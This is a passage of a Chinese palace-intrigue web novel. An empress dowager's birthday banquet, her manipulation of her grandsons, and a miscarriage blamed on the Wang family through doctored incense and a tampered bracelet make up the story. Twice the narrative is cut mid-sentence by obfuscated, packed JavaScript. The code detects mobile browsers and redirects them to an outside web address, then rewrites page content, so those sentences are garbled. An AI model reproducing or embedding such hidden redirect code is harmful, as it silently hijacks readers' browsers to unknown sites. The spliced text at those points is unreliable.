宽大的双手上斑驳着红白交错的新疤,周泉急着把手撤回,略显尴尬地舔了舔嘴唇,撑起笑容道:“皇祖母别听我娘乱说,疤痕都是练习骑射留下的。她不知道我行程才以为琢磨玉石如此危险。再说,我也就跟着打下手,这屏风要真都是孙儿动手的,成品也不好意思让您过目了。” 短短几句话,周泉就把自己精于骑射,还真的亲手参与礼物制作的“真相”交代了。 任谁看了不称赞一声周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197194|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉有孝心又真性情呢。 程曦坐在程太后身旁,随大流地笑起来。 程太后的神情却很淡,没显示出多少对这份寿礼的喜爱之情。 紧接着,三皇子周献与他母亲陈美人相携献上一个硕大的托盘,“祝皇祖母寿比天高,福如东海。” 他掀开托盘上的红绸,露出一件厚实的长袄:“孙儿未曾入仕,与母亲一起,用打来的猎物皮毛亲自为皇祖母做了一件冬衣。” “嗯,你们有心了。”程太后脸上仍旧看不出情绪。 四皇子周驰被他母亲牵着,肉嘟嘟的一个漂亮娃娃,进宫后向程太后跪拜,祝寿词和前头的周献一模一样。 他直接张开双手:“皇祖母,我也没入朝当官,母亲管着月银,我不能乱花。我听宫女说,向神佛许愿需要心诚,所以我用指尖的血抄了一卷《孝经》做皇祖母的生辰贺礼。” 刘美人连忙捂住四皇子的嘴,一脸歉疚地解释:“请太后勿怪,孩子太小了,他想抄整部《孝经》是嫔妾不舍得他那么伤害身体。另外的部分,我选了一块料子,讲经文绣在上面了。只是……嫔妾绣工不佳……” “行了,哀家知道你们母子的孝心了,拿来我看看吧。” 刘美人入宫后始终安分守己,四皇子是个安静的孩子,平日里不惹事令人生厌。 程太后清楚刘美人的女工是个什么样子,并不苛责,看过笑着点点头,就让他们母子落座了。 程太后在宫中看了一圈,问成业:“周靖呢?是?王家都来了,怎么还不见他?” 成业低着头,“奴婢一早就命人前往兴章院提醒过大皇子了,或许遇上什么事情耽搁了。” 正说着,门口的小黄门就进来通传,说大皇子周靖扶着赵孺人到了。 “让他们进来。”程太后脸上神情很淡,隐隐藏着些不悦。 坐在下方的王御史和孟夫人嘴角轻微上扬,看向门口的神色都有些不悦,坐在另一侧的赵博士低着头,颇有几分坐立不安的姿态。 周靖进门时候好像完全没受到影响,自顾自扶着赵培兰,走得很慢也很稳,他们身后跟着两个手捧礼物的宫女。 “孙儿来迟,皇祖母见谅。”周靖说话的时候才勉强把视线从赵培兰身上移开,浑身上下都写满了新婚之后,有情人终成眷属的快乐,他打开木匣,“皇祖母什么都不缺,孙儿思来想去只能想到皇祖母自打成婚,东奔西走,再没回过家乡,应该会想尝一尝家乡的滋味——派人北上,等到大雪时节的当地名菌,再让快马送回。” 菌与“君”,同音不同字。 一口吃食送得程太后脸上终于绽开笑容:“好,哀家确实许多年未曾尝过这一口地道的滋味了。” 周靖趁机说:“皇祖母,孙儿另有一个好消息要公布。” 程太后笑问:“哦,什么好消息?” 周靖在赵培兰的肚子上轻轻摸了摸,十分刻意地强调:“皇祖母,培兰有孕了,算着时间是入宫那晚怀上的。” 26.第 26 章 有孕是真,但什么时候怀的是假。 赵培兰知道、程曦知道、周靖知道,程太后也知道。 可今日当众公布这个消息,不论赵培兰什么时候怀的,那她都是“入宫当晚”怀上的了。 “好好好,为皇家开枝散叶是大功一件。你还愣着干什么,快带培兰入座。”程太后果然笑得更开怀了,她甚至激动到站起身,指着位置,示意周靖和赵培兰赶紧过去。 程太后这副喜欢孩子的表现瞬间触动了下方坐着的许多皇亲国戚。 王御史和孟夫人夫妇一桌。王御史面无表情,还是那张冷冰冰的死人脸,孟夫人看着大皇子周靖小心翼翼赵培兰的动作眯起双眼。 他们邻桌是辽阳侯和肖夫人夫妇。辽阳候浑不在意,自顾自举杯饮酒,爱极了宫中这口梨花酿的甘醇。肖夫人则把注意力完全放在王琳身上——王琳被夹在娘家和前一任婆家之间。 王琳的脸色最为难看。 她死死盯着赵培兰的肚子,双手死死抓着裙摆,在的衣料上留下无法抚平的折痕。 肖夫人的心顿时提到嗓子眼,生怕前任儿媳妇当众发疯,又不能出嫁,要一辈子赖在他们家了,她急忙抓住赵培兰的手,遮住手背上暴起的青筋。 上首的程太后完全没注意王御史家的眉眼官司,兴冲冲地说:“培兰啊,你现在月份小,正是难受的时候,平时肯定有恶心想吐的情况。要是御膳房有吃着不合口的,你只管说,让他们可着你的口味来,多做几样都不妨事。主要是养好独子,哀家活到六十多,总算赶上四世同堂的好日子了。” 程太后一脸期待地看着赵培兰的方向,怀念起从前。 “哀家还记得当年怀上陛下的时候,肚子一点点大起来,好像有另一个心跳伴着我自己的心跳。那感觉可太奇妙了,等你月份到了,哀家可得好好摸一摸。” 程太后笑得开怀,直接吩咐成业,“唉,不说这些,这里人太多了,空气浑浊,还有酒臭,对孩子可不好。成业啊,把哀家的步辇叫过来,送赵孺人回去歇着。御膳房专门做八道适合孕养的菜过去,以后每天加一盅燕窝。” “是孙儿思虑不周。”周靖马上起身告罪,陪着赵培兰一同离开了长寿宫。 从头到尾,周靖没有给王御史家一个眼神一句话。 程曦敏锐地发现了王琳脸上神情的变化。 她垂下眼帘,面露哀婉之色,被握着她的辽阳候夫人孟丽娟在桌下用力扯了一把。 肖夫人视线紧张地朝台上看去,对上程曦的视线。 程曦对她摇摇头,假做不知,垂眸夹菜。 肖夫人不禁更紧张了——荣昌县主常伴程太后身侧,她知道了跟程太后知道有什么分别?而且现在情况糟糕到地步,也不是荣昌县主守口如瓶就能挽救的了。 世人常说母凭子贵,事实上却是子凭母贵。 程太后虽然看好王琳的“规矩板正”,但男人哪有喜欢女人这一点的?大皇子周靖和赵培兰自小青梅竹马的情分,相守多年,终于在一块成就了姻缘,赵培兰又这么快有了孩子,明摆着已经占了大皇子大半的心思。 以后有多少能留给王琳都难说呢。 最重要的是…… 肖夫人视线落到王琳抓着衣裙的手掌上——那双手按着的位置便是孕育孩子的小腹。 女人不是每一个都要靠着肚子才能在夫家站稳脚跟的,可惜,王琳不是那种女人,而且她的竞争者已经因为孕育孩子而得到许多好处,也容不得王琳不走这条路了。 肖夫人在心里叹气。 她这个前儿媳就是被家里教导得太不懂得变通又太喜欢抓着教条了。 早知今日,王琳当初还不如顺从了自己当初给她寻了那么多好亲事,早早改嫁呢,现在落到现在如今进退两难的地步,连退婚的余地都没了。 肖夫人秉持着最后一点善心,压低声音警告:“这是皇家的大喜事!入夏之后,你也要成婚了。皇长子对赵氏好,对你也会多几分柔情。” 打动一个被打动过的男人,到底还是比撼动一座从不为女人心动的冰山更容易。 肖夫人提醒过后,彻底生出退意。 她心里不断祈求王琳可不要当众又拿出一哭二闹三上吊的套路。 王琳勉强收起不该有的表情,但对着肖夫人依旧没什么好脸色。 她耷拉着嘴角,不耐烦地说:“一会我和阿娘去兴章院拜会,就不同母亲一块回家了。” 王家愿意把这么个烫手山芋接走可真是太好了! 一会回了家,她和丈夫一定给儿子早晚三炷香,感谢儿子在天之灵保佑全家。 肖夫人克制住心底的欢喜,急忙点头。 到底做过几年婆媳,肖夫人真心劝慰:“琳娘,你只管去。赵博士是个体面人,赵大娘也有贤名。你是太后亲自求来的儿媳妇,冲着这一点,皇长子对你不会差。你们只管好好相处,日子不会难过的。” “母亲的意思,我晓得。”王琳应了一声,但这话里完全听不出有没有答应。 高台上,程太后已经开始跟枕边的老姐们回忆起年轻时候跟着先帝东奔西跑,挺着个大肚子,产育有多么艰难。 王琳紧紧咬着后牙根,视线情不自禁向着兴章院的方向望去。 明明什么都看不见,但她却清楚自己内心的憎恨。 赵培兰,她的存在就是错误。 这些荣耀、这些浓情蜜意和艳羡的眼神,都应该属于她。 幸好,现在纠正错误也不太迟。 用膳过后,辽阳侯夫妇留下礼物迅速离宫了,完全没往兴章院凑热闹。 曲终人散,长寿宫宴会落幕,重新恢复了肃穆。 程曦帮忙给送来的寿礼登记造册,突然发出一声嗤笑。 程太后从桌案上分出注意力,“碰上什么好笑的事情了?来,给哀家说说。” 程曦翻着礼单,提高声音。 少女的笑声充满嘲讽:“东海珊瑚一座,高六尺。南海白玉观音一尊,三百斤。汗血宝马一对,母马。呦,还是未骟过的呢。” “外祖母,这群官员各个嘴上说自己两袖清风,送的寿礼却大多价值连城。汗血宝马,连我都没见过呢。” 程太后头也不抬,就直接答应:“既然喜欢,汗血宝马配种之后,给你挑一匹小马。从小养着,处起来的感情更好。” 她顺口嘱咐:“别跟官员们计较这些昂贵的礼物,水至清则无鱼,人至察则无徒。” 程曦反驳:“外祖母,你知道我计较的不是这些。夏国只有半壁江山,他们就敢捞的这么狠,以后只会变本加厉。日后上行下效,国家就完了。” 程太后顿笔,舒心地笑了起来。 “既然有这份心,就好好管住你以后提拔的人。朝廷里的这些,哀家以后腾出手再治他们——他们呐,现在还有用。” 程太后说完想了想,又补充一句,“清官有清官的用法,贪官有贪官的用法,酷吏有酷吏的用法。‘官’这种东西,能用好用才是重点,他们的品行……哼,有瑕疵的,用不顺手了,更好杀。” 原来如此,其中竟然还有这种奥妙。 程曦感觉自己又被上了一课。 “对了,外祖母,我今日看到王琳对赵姐姐的肚子神色不善。是不是派个人过去送点东西,让她安心,免得在大皇兄那里闹得家宅不宁?” 程曦一说完这句话,程太后突然发出一阵大笑。 “……您笑什么?”程曦心中隐隐生出一股不妙。 程太后索性走过来,摸了摸程曦的头:“好孩子,我把你教导得太好了。你给人的信任太多了。” 那股不妙的情绪扩大,程曦脑子转得飞快,不一会就想通了其中关键。 她抖着嘴唇,不敢相信自己猜出来的真相:“您不会是想告诉我……赵姐姐怀孕这件事情,从一开始就是假的吧?” 程太后看着程曦,眼睛里流露出些许心疼,但更多的是松了一口气的轻快。 “此事,至少有大半是真的。”程太后的声音很轻,可程曦心里却一阵阵的发凉。 难怪了。 难怪赵培兰“怀孕”之后还能在宫道中狂奔,躲避内侍追捕。 难怪同行是冤家的情况下,许闻歌会被太医正推到她面前露脸。 难怪婚事成功之后,程太后只让一顶小轿就把赵培兰接进宫,没有任何阻碍。 原来,从一开始,赵培兰就已经向程太后投诚了。 程曦脸上不由得失了血色,她咬住嘴唇,声音发颤:“外祖母,那您兜了这么大一个圈子,是为了拿下王御史,还是为了打掉皇兄们的胆子。亦或是说,您想一箭双雕?” 程太后又是欣慰又是心疼地轻叹一声,把程曦抱进怀里,像小时候一样轻轻拍着她的背:“猜到了,就别问了,静静看着,哀家怎么把这群专门跟我作对的倔驴都清理出去。” 原来大清洗不是结束了,而是“暂时告一段落”。 什么时候会重新开始? 程太后又想把这朝堂变成什么模样? 程曦微微仰起头,看着程太后逐渐不再用柔和遮掩锋芒的面貌。 程太后垂眸,对上外孙女的视线,只当她在撒娇,凑过去贴了贴程曦的额头。 “别害怕,咱家会越来越好的。” 这个“家”里面显然已经不包括她的几个儿子和儿子的后人了。 程曦被程太后抱着头,陷入回忆。 想来也挺合理的,程太后被成顺帝赶走的时候,只有日耀大长公主和程曦进宫陪伴安抚,程曦甚至还跟成顺帝大吵一架。程太后另外的几个儿子,就好像不存在似的,龟缩在家中。 之后这几年,程太后不再宣召任何一个儿子进宫,也没关心过全部孙子的成长、婚事,只守着外孙女,不要钱似的掏出宫中金玉珠玩,一股脑全部塞给程曦母女,把长公主府扩建了一遍又一遍,连成顺帝给他自己建造来修养的渌水山房都送给程曦做宅邸。。 锦上添花容易,雪中送炭难。 程太后一辈子几次落入谷底,年少时被家人背叛,不问意见就定了先帝;成婚后背丈夫背叛,降妻为妾;年老又被儿子背叛,从前朝驱逐回后宫。 她虽然有韧性,每一次都能一步步从谷底走出来,但不代表被人伤害不会疼。 所以,程太后分外珍惜能始终和她站在一起的人,也就对背叛者分外心狠手辣。 “……外祖母,说给我听吧,我能听了,我长大了,早就不怕了。”程曦从程太后怀里坐直,握着的她的手恳求。 程太后观察了程曦一会,确定她情绪十分稳定,眉头松开,终于从头解释:“事情还要从你舅舅三年前亲政说起……” 成顺帝亲政,改年号为“成顺”,大宴群臣,后宫集体升了位份。 皇子们的心思也跟着活络了。 赵培兰就是在那时候没受住周靖的甜言蜜语,把自己交出去的。年少贪欢,周靖开禁便忍不住了,一再索要。 周靖和赵培兰的身体都没问题,赵培兰很快有了身孕。 程太后虽然失去了前朝的权威,但她经营后宫多年,周靖和赵培兰跨过界限的当天,程太后就得到消息。 她略施手段,让周靖以为自己获得一个身份更高,更能给他提供支持的妻子人选。 毫不令人意外,周靖直接放弃了向成顺帝求取赵培兰。 程太后出手挑拨,自然不会只对一个人下手,赵培兰几乎看了全程,情绪波动过大,赵培兰肚子里的小生命当天就化成一滩血水,消失得无影无踪。 未成婚的女儿失身,不但对赵培兰名誉有影响,对作为父亲的赵博士的打击也是毁灭性的。 隐晦的传言刚起,程太后就状似不经意地夸赞起赵培兰侍奉母亲不顾身体实在是个好孩子,直接把传言击溃。 太医院的权力也因成顺帝亲政而发生更替,原来的太医正下台,许太医正被卡了一手,亲儿子许闻歌丢了进入太医院的资格。 程太后穿针引线,把许闻歌不声不响的送到赵博士家中,给赵培兰母女调理身体。 程太后既留住了赵夫人的性命,也保下了赵培兰的名誉。 从此赵家上下都是程太后的铁杆。 程太后并没闲着,在成顺帝按规矩晨昏定省的时候突然说起孙子们的婚事,这副过分积极的姿态直接让成顺帝怀疑儿子们许诺了亲娘好处,打心眼里怀疑起儿子们的立场。 然后,成顺帝说了句“孩子们岁数还小,朕想再打磨他们几年,养养性子”。 ——人自己做过什么,就会怎么怀疑其他人。 短短一句话,周靖迎娶高门贵妻的大梦就碎了。 这时候,周靖终于想起赵培兰,意识到患难真情的可贵。 赵培兰也觉得患难真情可贵,但给她患难真情的是程太后,她的志向也不再局限于获得一个男人的真爱。 赵培兰变成了程太后早是周靖的暗棋。 程太后是个好母亲,她比成顺帝更了解成顺帝的身体。她知道朝堂上的重压落在成顺帝肩膀上,他根本坚持不了多久。 这一回,程太后没有身后帮着儿子,而是任由成顺帝白天被国政折磨,晚上被送进宫的一个又一个美人消磨精血。 她只偶尔做足慈母的姿态,就彻底扭转了成顺帝心里那个“贪权母亲”的坏形象。 多么令人惊喜! 短短三年,成顺帝就几乎成了个人干,大病不起,皇权重新落回了程太后的手中。 这一回,是成顺帝求着程太后收下的。 在心中阴燃三载的仇恨终于有了宣泄的机会,程太后所有的柔情和迟疑都已被消耗殆尽,她要把所有背叛过她的彻底踩死。 于是,程太后示意赵培兰假做怀孕去找程曦帮忙。接下来的一切,就如程太后设计好的那样,一一进行,棋局中的每一个人都没有让程太后失望。 “……周靖被管束了二十多年了,他早就憋坏了。赵培兰是他得到过的,唯一一个‘自己争取来’的,正值新婚,又是男人自觉感情最浓厚的时间。” “赵培兰落胎,王家就是第一怀疑对象,周靖也绝对会勃然大怒。” 而牵一发而动全局,其他几个孙子也会跟着动起来,她想要的结果才会在这张大网上展现。 晨曦屏息静听。 程太后收声后,她才长吐一口气:“原来如此。” 她心里酸酸的,有一股说不出的难受。 程太后轻声问:“怨赵培兰骗你了么?还是怨我把你当成这盘棋上的棋子?” 程曦摇摇头,停顿片刻又点头,过了一会,她又再一次摇头。 程曦握住程太后的手,红了眼眶,“外祖母,原来您一早就看出我不愿意嫁进皇宫了,我居然误会您,私下谋划这么多。” 程太后轻轻拍着程曦后背,没有一点不耐烦:“你是最像我的孩子,我爱你,如同爱我自己。我年少时候吃过的苦头,怎么忍心让你再吃一回。” “你有自己想走的路,不愿意顺着这条清晰可见未来的悬崖往下跳,我只有开心的。”程太后笑开,眼睛里凶狠的光芒一闪而过,“我这十几个孙子里面,但凡有一个真生了龙气的,我这条路也不会走得如此顺遂。” 就看这群龙子龙孙的臭德行,程太后要是死心只当个在后宫享福的老太太,现在都得担心睡梦里让襄王军打破宫门。 这件事情彻底说开,祖孙二人重新看向桌面上的奏章。 窗外,落雪无声。 * 长寿宫内其乐融融。 王御史一家吃完席面,心里却像是被塞了秤砣,又冷又沉。 大皇子是他们未来女婿,眼见已经和赵博士家的女儿郎情妾意,现在连孩子都怀上了,再等七八个月,他们女儿过世的,赵培兰连孩子都快落地了了。 难道他们赵家的女人是上门给人做奶妈子么! 王御史心里有气,反复骂着皇家没一点规矩,可到了面上,为了女儿以后日子不难过却又一点不能展露。 王御史对着兴章院的方向恨恨地瞪了几眼,被孟夫人拉走。 “别看了,宫里人多眼杂,你脸色这么差,要是被人看了去,又要无风起浪了。”孟夫人赶紧扯着丈夫和长女王琳往宫门口去。 王琅安静地跟在父母和姐姐身后,到了宫门口,孟夫人马上推着王御史和王琅出门,连声嘱咐:“你们爷俩快回家张罗一份孕期的贺礼送进宫,我带着琳娘给大皇子送过去。” 王御史冷哼:“有什么好送的!” 孟夫人拧了丈夫手臂一把,低声呵斥:“你挺什么腰杆子?女儿后半辈子要在宫里过呢!你赶紧回去张罗,要是不知道送什么,就比照着我怀孕时候各家走礼的礼单。” 王御史语气极差:“当初就不应该应了这门亲事。” 孟夫人闻言脸色跟着冷下去,反口只问:“你若不愿意,当初何必让我带着二娘进宫,让太后相看呢?既然当初起了这心思,就是天意如此。” 发现大女儿脸色也不好看,孟夫人拉住王琳,“你凭着良心,好好往下过就是。大皇子性情温和,你只要保持柔顺的性子,日子不会差的。” 王琳用手绢捂住嘴,却遮不住心里的委屈:“赵培兰连孩子都有了,我怎么好好过?” 孟夫人目光瞬间变得锐利,她低声呵斥:“你胡说八道些什么?赵培兰也是官宦人家出身,早年便有‘孝敬母亲、友爱弟妹’的名声。当时婚事出了那样的乌龙,赵博士愿意后退一步,让赵培兰当夜就被一顶小轿送进宫已经委屈至极。大皇子多宠爱一些合情合理,你只有比大皇子对她更好,才能得到大皇子的尊重,记住了么?你日后是要做……的人,需得心胸开阔!” 王琳眼睛里泪光闪闪,强忍着点头:“听从母亲教诲。” 王御史心里的气不减,但他反驳不了妻子的话。 身为家里的男人,太明白妻子的话有道理了。 他只能深吸一口气,勉强道:“我这就带着二娘回去准备礼物,你们娘俩干站着不好看,先往郭夫人处走一趟,认认婆婆吧。” 周靖的亲娘不怎么露面,是个和善人,过去走走,既方便消磨时间,也能探探大皇子母子俩对赵培兰肚子里那块肉都是个什么看法。 语毕,王御史带着幼女离开。 * 孟夫人带着王琳往后宫走了一遭。 郭夫人从头到尾夸人,茶点齐备,态度好的好似她才是上门打听消息的人,但真被孟夫人讯问时候,郭夫人就露出一问三不知的茫然表情,一口一个“或许靖儿有自己的想法,孩子大了,我也不好插手房里事”把问题糊弄过去。 吃茶吃了小半个时辰,孟夫人和王琳被劝着喝下肚九大杯水,灌得小腹胀满。 等到郭夫人再次劝茶的时候,孟夫人和王琳急忙告辞,更衣去了。 确定人走了,郭夫人笑着吩咐把孟琴和王琳用过的杯盘都收起来,吃食也留十日再清理。 另一头,王御史带着次女回到家,直接吩咐管家,照着亲戚怀孕时候送的礼物准备,送到宫门□□给妻子。 管家办事向来牢靠,又是丈夫让管家亲自送过来的。天黑闲杂人等必须离宫,孟夫人没有多余的时间了,也就没再检查。 她和王琳一起,拿了礼物就走。 王琳接过礼单扫了几眼,扬起嘴角。 来到兴章院,宫人通报后,将人客客气气地请到客厅。 孟夫人和王琳来得仓促,为了什么走这一趟也很清楚。 周靖想了想,为了日后妻妾和睦,还是面带愧疚地吩咐宫女去请赵培来一同出席了。 过了一会,赵培兰换了衣裳过来。 她牵住周靖的手,一脸的宽容和顺,分外柔和地说:“阿靖,你我自小的情分,你中有我、我中有你,早就不用在乎外的虚名了。你心里明白的,只要对你好的,我都愿意忍耐。” 周靖一瞬间回忆起赵培兰这些年为了他没名没分的日子,心中愧疚越发炽烈,对赵培兰保证:“培兰,你放心,她嫁进门之后,除了那场婚礼和名分,我绝不让王琳越过你去。” 赵培兰抓着周靖的手,放到自己肚子上,然后将头枕上周靖肩膀:“我知道,你过去承诺给我一家,我等到了。阿靖,我信你以后也会做到承诺的,我不怕等。我会好好对待王琳,恭敬顺从,绝不和她争执。” 周靖想到“他们俩”原来的计划就是程曦做正室、赵培兰做侧室,立刻相信赵培兰的话全部出自真心了。 只不过…… 王琳也配和太后的心尖尖比较么? 周靖发自内心说:“委屈你了。” 两人相携来到客厅,孟夫人带着王琳和周靖、赵培兰相互见礼。 孟夫人立刻奉上贺礼:“匆忙得知的喜讯,礼物准备得不够精心。” 王琳即将成为周靖的正妻,但她现在还不是,所以兴章院里的女主人目前还是赵培兰。 赵培兰保持着柔顺的姿态让人接过礼物。 孟夫人刚刚入座,正想着说点什么打开话题,王琳突然插嘴:“礼物中有一只实心金镯,做得很大呢,妹妹月份大起来之后,身体浮肿也能佩戴,不如现在就试试?” 后宫女人想要拢住男人心,不管性格如何,都少不了一副惹人喜欢的外貌,提到女人月份大了之后会变得臃肿丑陋,其中恶意都要流出来了。 赵培兰还没说什么,周靖先皱起眉头。 “多谢,那我就试试。”赵培兰在桌下用脚碰了碰周靖,提醒他收起臭脸,自己让宫女送来镯子,直接戴在手上。 一根没什么工艺的实心大金镯子悬在手腕上,腕骨高凸,十分不相合。 赵培兰却笑道:“我娘怀妹妹到最后几个月的时候,全身浮肿得厉害,几乎胖出一个人来。这镯子以后每次怀孕都能戴。” 这下子脸色难看的就成了王琳。 她和前夫成婚后,也曾有过蜜里调油的日子,但直到丈夫过世,都没能留下一儿半女。赵培兰说“以后每次怀孕”简直是往她心口捅刀子。 同样东西,在周靖视角,又是另一种不快——周靖长在宫廷,后宫倾轧,他看得多了,什么都明白的。 只一眼,周靖就明白王家送实心镯子的意思了。 他们生怕赵培兰肚子出点什么事情,沾到他们家。 你们王家心里没鬼,何必提前防范? “培兰,摘了吧,现在太大了。我给你准备那么多镯子,没必要戴个不合适的。”周靖到底是天潢贵胄,不高兴的时候,也很不给臣下面子。 这时候他就想不起来还得笼络王家了。 婚事定了,难道王家还能跑?他以后的女人只会越来越多,赵培兰和别人任何人都不一样,她是为了他冒过险的女人,她对他一片真情! 周靖当场冷笑着把那只朴素的金镯子褪下赵培兰手腕,直接赏给下面伺候的宫女,还不忘了对内侍吩咐:“去库房里把工艺最复杂那个的双股麻花挂十八个铃铛吊坠的镯子给赵孺人拿来。” 说完还不忘记催着赵培兰回房休息养胎。 等把人送走,周靖冷着脸深呼吸几次才重新撑起笑脸:“孟夫人,王家名门,素有贤名。我与培兰青梅竹马,情谊非凡,但王家女嫁给我,我不会宠妾灭妻,我和培兰早就商议过,一旦王家女过门,兴章院的一切内务都由王家女做主。只盼着王家女也能善待培兰。” 这话听着很像一回事,但仔细一品就变味了。 做正室的,处置内宅一切本来就是属于王琳的权力,可周靖话里却说,给王琳这个权力是“周靖和赵培兰商量过”的。 照这意思,王琳到底是正室还是管家? 守寡几年,王琳的性子越来越钻牛角尖,遇上事情,对前公婆哭闹就有用,也让她养成了不顺心就闹一场的坏毛病。 察觉到前路艰难,王琳居然在泪洒兴章院。 孟夫人顿时深深后悔,觉得自己根本不该带着女儿来走这一趟! “小女无状,皇长子海涵,臣妇回去一定好好教导。”孟夫人赶紧拉着王琳告辞。 周靖坐在原位,不阴不阳地说:“表哥在世时候椒房独宠,看来王家女已经应婚看中的不是我这个人,而是大皇子妃的身份。王家看来名不副实啊。” 孟夫人一听,哪还敢挪步? 她当场拉着王琳跪下了,“大殿下明鉴,王家绝无此意。” 全家名誉悬于一线,王琳也顾不上刷性子了,连声否认:“王家应婚是为国尽忠,也是想要消弭同太后在朝堂的私冤,大殿下实在是多心了。” 周靖最初没有拒绝王家女,心里就存了再添一房如花美眷,让妻族为自己增光添彩的意思。 但既然话赶话到了这一步,明摆着得罪死了王家,周靖也不会再心存侥幸,摆低姿态。 他立刻抓住王琳的话柄,沉声威胁:“什么叫‘皇祖母与王家在朝堂的私冤’?皇祖母是夏朝的国母,她一直代夫、代子代巡狩天下,所说所做全是出于公心。你们王家私底下居然对皇祖母有如此偏见,我真是看错王家了!” 王琳知道自己说错过了话,着急地看向母亲,用眼神向她求救。 孟琴冷汗涔涔,一时间实在找不到其他借口推脱,只好放低姿态勉强弥补:“琳娘丧夫后,深藏内宅多年,说话不免偏颇,绝非家中教导、撺掇……” 孟夫人话里的意思就是服软了。 日后还要成婚,压服就算达成目的了。 周靖见好就收,“孟夫人带女儿回家好好教导吧,距离婚期还有半年多的时间,若王家女入宫时仍是个心胸狭隘,我会很高兴把宫务交给培兰管。” “王家一定好好教导女儿。”孟夫人闭上眼睛,忍着气答应。 “时辰不早了,岳母请回吧。”周靖这才放软语气,扶着孟夫人和王琳起身。 孟夫人用力抓着王琳的手腕,心里已经把这个长女千刀万剐了。 不管王琳过去什么样子,今天的事情不能再发生,她确实应该管管女儿说话办事了! * 客人离开,兴章院却没能恢复往日的平静。 晚膳时分,那得了金镯子的宫女捧膳入内,一头栽倒在地,裙摆被血晕开。 这宫女晕了,她送上来的晚膳自然也没人敢吃。可赵培兰怀着身孕呢,受不住饿,让人熬了些阿胶糕垫肚子。 几口点心下肚,更坏的情况发生了。 她捂着肚子惨叫,身下也流出滚滚鲜血。 周靖第一反应就是有人下毒,急招太医和医女入宫的时候,上报情况。 太医检查后,说宫女只是月事下血量过大,气血不足;但赵培兰却是先兆流产,孩子没了。 确实有女子因为月经量大身子骨不健壮,但再加上一个怀孕的后妃前后脚落胎呢?皇宫里面谁敢信这种话! 太医的结论报上去,成业就带着人亲自过来搜证了。 赵培兰肚子里面的是程太后第一个孙辈! 不明不白的没了,日后皇宫里面哪还有一丁点安全可言? 程太后勃然大怒,下令彻查。 兴章院到御膳房再到采买,所有经手环节的内侍和宫女都被下狱了。 经过搜查发现,失血昏迷宫女佩戴的镯子表面被搓揉了厚厚一层活血破气的药膏。 阿胶虽然没问题,但赵培兰屋子里面点的香料被加了行气化瘀的成分,孕期女子旧闻之下必定落胎。继续追查下去,这份香料竟然还是特意调配的,在原本行气化瘀的香方基础上合进了大皇子最喜欢的橘皮香调。 这就很明显是冲着赵培兰来的了。 赵培兰嫁进宫门,确定怀孕更是没几日,调查的重点迅速转向伺候赵培兰日常起居的那群陪嫁丫鬟和负责采买香料的宫人。 顺着这条线,最终找到了王御史家的香铺。 这份香料竟然是王家长女、周靖未来的正妻王琳被定下婚事第二日去自家香铺亲自调配出来的的! 程太后直接下令,将王御史全家下狱。 辽阳侯一家听到消息噤若寒蝉,随即,辽阳候和肖夫人冲去祠堂,急忙感谢列祖列宗和长子的在天之灵保佑,让自家躲过一劫——为程太后庆生后,王家人终于清点了王琳的嫁妆,让她回家去了。 可这个结果其实并不能服众。 人人都知道王御史和程太后在朝堂上冲突不断,王琳过去的名声也很不错。 王家下狱之后,就有朝臣入宫,请求程太后继续深入调查,以免忠臣受了委屈。 这话里的意思,既怀疑赵培兰贼喊捉贼,也有暗示大皇子周靖生出野心,想要设计陷害王家,给程太后清除政敌,来讨程太后欢心。 程太后把官员都留在长寿宫,没让任何一个进宫求情的离开。 她低头处理政务,让一项项政令下达。 臣子们越来越躁动,可程太后完全不接茬,仿佛把他们的抱怨都当成了小曲,搭配着政务处理更有意趣似的。 其间,程太后甚至会临时问起各位官员与奏章内涉及到的问题,打得官员们措手不及。 渐渐的,官员们额头上因为压力而生的汗水越来越多,却又无法离开,变成了一屋子锯嘴葫芦。 到了夕阳染红云霞的时候,程太后看了一眼几户站满前厅的官员,低声吩咐:“都不许出声——成业,带他们去后门看看。” “各位,请随奴婢来。”成业引路,带着一脸不解的官员们沿着宫婢们走的小路来到后门。 宽大的宫门下,一个虚弱的女人跪伏在地。 女人没有穿代表身份的外衫,几层未染色的白麻长衫套在身上,一头长发乱糟糟地随便在后脑隆起。 她显然耗尽了力气,跪在地面上的动作已经不标准了,可哀戚地哭声仍旧不时从口中冒出。 毁伤已极的姿态,明显被打碎了希望。 成业回头,小声对面带疑惑地官员们解释:“这是赵孺人。” 居然是刚刚流产的赵培兰! “她不好好休养,怎会跪在此处?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232450|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 成业视线在官员们之间绕了一圈,越发垂下头颅,小声回答:“官员不只前来长寿宫,还有不少往兴章院去的。赵孺人不堪被怀疑指责,一早在兴章院与大皇子争执后,不甘大皇子息事宁人的要求,与其割袍断义后,就拖着病体跪到长寿宫后院,求太后娘娘开恩,允她留在长寿宫做女官,不再为后妃,以保留赵家的名望。” 王家名声不错,可赵培兰的名声也从来不差,只不过这件事情里面,怎么看她都像是得益者,才会成为被人攻击的对象。 赵培兰和大皇子过去就算有再深厚的感情,大皇子也丢不起这种脸。 现在,赵培兰将流产的事情抬高到“赵家”和“王家”的名誉之争,就不再是女人之间争风吃醋的小事了,甚至,她要和大皇子义绝都不算什么了。 官员们不得不询问:“那太后的意思是?” 